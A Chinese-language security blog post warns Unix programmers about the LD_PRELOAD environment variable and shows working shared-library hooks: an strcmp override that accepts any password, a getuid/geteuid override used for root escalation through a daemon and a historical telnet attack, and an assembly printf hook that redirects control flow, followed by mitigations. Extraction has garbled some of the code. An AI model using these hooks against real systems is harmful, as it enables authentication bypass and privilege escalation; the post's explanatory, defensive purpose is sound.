警惕
UNIX
下的
LD_PRELOAD
環境變量
前言
??????
也許這個話題并不新鮮,因為
LD_PRELOAD
所產生的問題由來已久。不過,在這里,我還是想討論一下這個環境變量。因為這個環境變量所帶來的安全問題非常嚴重,值得所有的
Unix
下的程序員的注意。
在開始講述為什么要當心
LD_PRELOAD
環境變量之前,請讓我先說明一下程序的鏈接。所謂鏈接,也就是說編譯器找到程序中所引用的函數或全局變量所存在的位置。一般來說,程序的鏈接分為靜態鏈接和動態鏈接,靜態鏈接就是把所有所引用到的函數或變量全部地編譯到可執行文件中。動態鏈接則不會把函數編譯到可執行文件中,而是在程序運行時動態地載入函數庫,也就是運行鏈接。所以,對于動態鏈接來說,必然需要一個動態鏈接庫。動態鏈接庫的好處在于,一旦動態庫中的函數發生變化,對于可執行程序來說是透明的,可執行程序無需重新編譯。這對于程序的發布、維護、更新起到了積極的作用。對于靜態鏈接的程序來說,函數庫中一個小小的改動需要整個程序的重新編譯、發布,對于程序的維護產生了比較大的工作量。
當然,世界上沒有什么東西都是完美的,有好就有壞,有得就有失。動態鏈接所帶來的壞處和其好處一樣同樣是巨大的。因為程序在運行時動態加載函數,這也就為他人創造了可以影響你的主程序的機會。試想,一旦,你的程序動態載入的函數不是你自己寫的,而是載入了別人的有企圖的代碼,通過函數的返回值來控制你的程序的執行流程,那么,你的程序也就被人“劫持”了。
LD_PRELOAD
簡介
在
UNIX
的動態鏈接庫的世界中,
LD_PRELOAD
就是這樣一個環境變量,它可以影響程序的運行時的鏈接(
Runtime linker
),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入惡意程序,從而達到那不可告人的罪惡的目的。
我們知道,
Linux
的用的都是
glibc
,有一個叫
libc.so.6
的文件,這是幾乎所有
Linux
下命令的動態鏈接中,其中有標準
C
的各種函數。對于
GCC
而言,默認情況下,所編譯的程序中對標準
C
函數的鏈接,都是通過動態鏈接方式來鏈接
libc.so.6
這個函數庫的。
OK
。還是讓我用一個例子來看一下用
LD_PRELOAD
來
hack
別人的程序。
示例一
我們寫下面一段例程:
/*
文件名:
verifypasswd.c */
/*
這是一段判斷用戶口令的程序,其中使用到了標準
C
函數
strcmp
*/
#include <stdio.h> #include <string.h>
int main(int argc, char **argv)
{
char passwd[] = "password";
if (argc < 2) { ??????? printf("usage: %s <password>\n", argv[0]); ??????? return; }
if (!strcmp(passwd, argv[1])) { ??????? printf("Correct Password!\n"); ??????? return; }
printf("Invalid Password!\n");
}
|
在上面這段程序中,我們使用了
strcmp
函數來判斷兩個字符串是否相等。下面,我們使用一個動態函數庫來重載
strcmp
函數:
/*
文件名:
hack.c */
#include <stdio.h> #include <string.h>
int strcmp(const char *s1, const char *s2) { ??????? printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
???????
/
*
永遠返回
0
,表示兩個字符串相等
*/
??????? return 0;
}
|
編譯程序:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
測試一下程序:(得到正確結果)
$ ./verifypasswd asdf
Invalid Password!
設置
LD_PRELOAD
變量:(使我們重寫過的
strcmp
函數的
hack.so
成為優先載入鏈接庫)
??????
?
$ export LD_PRELOAD="./hack.so"
再次運行程序:
$ ./verifypasswd
?
asdf
hack function invoked. s1=<password> s2=<asdf>
Correct Password!
我們可以看到,
1
)我們的
hack.so
中的
strcmp
被調用了。
2
)主程序中運行結果被影響了。如果這是一個系統登錄程序,那么這也就意味著我們用任意口令都可以進入系統了。
示例二
讓我們再來一個示例(這個示例來源于我的工作)。這個軟件是一個分布式計算平臺,軟件在所有的計算機上都有以
ROOT
身份運行的偵聽程序(
Daemon
),用戶可以把的一程序從
A
計算機提交到
B
計算機上去運行。這些
Daemon
會把用戶在
A
計算機上的所有環境變量帶到
B
計算機上,在
B
計算機上的
Daemon
會
fork
出一個子進程,并且
Daemon
會調用
seteuid
、
setegid
來設置子程的執行宿主,并在子進程空間中設置從
A
計算機帶過來的環境變量,以仿真用戶的運行環境。(注意:
A
和
B
都運行在
NIS/NFS
方式上)
于是,我們可以寫下這樣的動態鏈接庫:
/*
文件名:
preload.c */
#include <dlfcn.h> #include <unistd.h> #include <sys/types.h>
uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
|
??????
在這里我們可以看到,我們重載了系統調用。于是我們可以通過設置
LC_PRELOAD
來迫使主程序使用我們的
geteuid/getuid/getgid
(它們都返回
0
,也就是
Root
權限)。這會導致,上述的那個分布式計算平臺的軟件在提交端
A
計算機上調用了
geteuid
得到當前用戶
ID
是
0
,并把這個用戶
ID
傳到了執行端
B
計算機上,于是
B
計算機上的
Daemon
就會調用
seteuid(0)
,導致我們的程序運行在了
Root
權限之下。從而,用戶取得了超級用戶的權限而為所欲為。
??????
上面的這個
preload.c
文件也就早期的為人所熟知的
hack
程序了。惡意用戶通過在系統中設計
LC_PRELOAD
環境變量來加載這個動態鏈接庫,會非常容易影響其它系統命令(如:
/bin/sh, /bin/ls, /bin/rm
等),讓這些系統命令以
Root
權限運行。
讓我們看一下這個函數是怎么影響系統命令的:
??????
$ id
uid=500(hchen) gid=10(wheel) groups=10(wheel)
$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
??????
$ whoami
root
$ /bin/sh
#
????????
<------
你可以看到命令行提示符會由
$
變成
#
??????
下面是一個曾經非常著名的系統攻擊
$ telnet telnet> env def LD_PRELOAD /home/hchen/test/preload.so telnet> open localhost
#
|
當然,這個安全
BUG
早已被
Fix
了(雖然,通過
id
或是
whoami
或是
/bin/sh
讓你覺得你像是
root
,但其實你并沒有
root
的權限),當今的
Unix
系統中不會出現這個的問題。但這并不代表,我們自己寫的程序,或是第三方的程序能夠避免這個問題,尤其是那些以
Root
方式運行的第三方程序。
所以,在我們編程時,我們要隨時警惕著
LD_PRELOAD
。
如何避免
不可否認,
LD_PRELOAD
是一個很難纏的問題。目前來說,要解決這個問題,只能想方設法讓
LD_PRELOAD
失效。目前而言,有以下面兩種方法可以讓
LD_PRELOAD
失效。
1)
通過靜態鏈接。使用
gcc
的
-static
參數可以把
libc.so.6
靜態鏈入執行程序中。但這也就意味著你的程序不再支持動態鏈接。
2)
通過設置執行文件的
setgid / setuid
標志
。在有
SUID
權限的執行文件,系統會忽略
LD_PRELOAD
環境變量。也就是說,如果你有以
root
方式運行的程序,最好設置上
SUID
權限。(如:
chmod 4755 daemon
)
在一些 UNIX 版本上,如果你想要使用 LD_PRELOAD 環境變量,你需要有 root 權限。但不管怎么說,這些個方法目前來看并不是一個徹底的解決方案,只是一個 Workaround 的方法,是一種因噎廢食的做法,為了安全,只能禁用。
另一個示例
最后,讓我以一個更為“變態”的示例來結束這篇文章吧(這個示例來自某俄羅斯黑客)。看看我們還能用
LD_PRELOAD
來干點什么?下面這個程序
comp.c
,我們用來比較
a
和
b
,很明顯,
a
和
b
不相等,所以,怎么運行都是程序打出
Sorry
,然后退出。這個示例會告訴我們如何用
LD_PRELOAD
讓程序打印
OK
。
/*
源文件:
comp.c
?
執行文件:
comp*/
#include <stdio.h>
int main(int argc, char **argv) { ??????? int a = 1, b = 2;
??????? if (a != b) { ??????????????? printf("Sorry!\n"); ????????????? ?? return 0; ??????? }
??????? printf("OK!\n"); ??????? return 1;
}
|
我們先來用
GDB
來研究一下程序的反匯編。注意其中的紅色部分。那就是
if
語句。如果條件失敗,則會轉到
<main+75>
。當然,用
LD_PRELOAD
無法影響表達式,其只能只能影響函數。于是,我們可以在
printf
上動點歪腦筋。
(gdb) disassemble main Dump of assembler code for function main: 0x08048368 <main+0>: ??? push ?? %ebp 0x08048369 <main+1>: ??? mov ??? %esp,%ebp 0x0804836b <main+3>: ??? sub ??? $0x18,%esp 0x0804836e <main+6>: ??? and ??? $0xfffffff0,%esp 0x08048371 <main+9>: ??? mov ??? $0x0,%eax 0x08048376 <main+14>: ?? add ??? $0xf,%eax 0x08048379 <main+17>: ?? add ??? $0xf,%eax
0x
0x
0x08048382 <main+26>: ?? sub ??? %eax,%esp 0x08048384 <main+28>: ?? movl ?? $0x1,0xfffffffc(%ebp) 0x0804838b <main+35>: ?? movl ?? $0x2,0xfffffff8(%ebp) 0x08048392 <main+42>: ?? mov ??? 0xfffffffc(%ebp),%eax 0x08048395 <main+45>: ?? cmp ??? 0xfffffff8(%ebp),%eax
0x08048398 <main+48>:
??
je
????
0x80483b3 <main+75>
0x
0x0804839d <main+53>: ?? push ?? $0x80484b0
0x
0x
0x080483aa <main+66>: ?? movl ?? $0x0,0xfffffff4(%ebp) 0x080483b1 <main+73>: ?? jmp ??? 0x80483ca <main+98> 0x080483b3 <main+75>: ?? sub ??? $0xc,%esp 0x080483b6 <main+78>: ?? push ?? $0x80484b8 0x080483bb <main+83>: ?? call ?? 0x80482b0
0x
0x
0x080483ca <main+98>: ?? mov ??? 0xfffffff4(%ebp),%eax 0x080483cd <main+101>: ? leave 0x080483ce <main+102>: ? ret End of assembler dump.
|
下面是我們重載
printf
的
so
文件。讓
printf
返回后的棧地址變成
<main+75>
。從而讓程序接著執行。下面是
so
文件的源,都是讓人反感的匯編代碼。
#include <stdarg.h>
static int (*_printf)(const char *format, ...) = NULL;
int printf(const char *format, ...)
{
???
if (_printf == NULL) {
????????
/*
取得標準庫中的
printf
的函數地址
*/
_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");
????????
/
*
把函數返回的地址置到
<main+
75
>
*/
???????? __asm__ __volatile__ ( ??????????????? "movl 0x4(%ebp), %eax \n" ??????????????? "addl $15, %eax \n" ??????????????? "movl %eax, 0x4(%ebp)" ???????? );
???????? return 1; ??? }
???
/
*
重置
printf
的返回地址
*/
??? __asm__ __volatile__ ( ??????????? "addl $12, %%esp \n" ??????????? "jmp *%0 \n" ??????????????????? : /* no output registers */ ??????????????????? : "g" (_printf) ???? ??????????????? : "%esp"
???
);
}
|
你可以在你的
Linux
下試試這段代碼。:)
(
轉載時請注明作者和出處。未經許可,請勿用于商業用途
)
更多文章請訪問我的
blog:
?
http://blog.csdn.net/haoel
?
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1602108
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
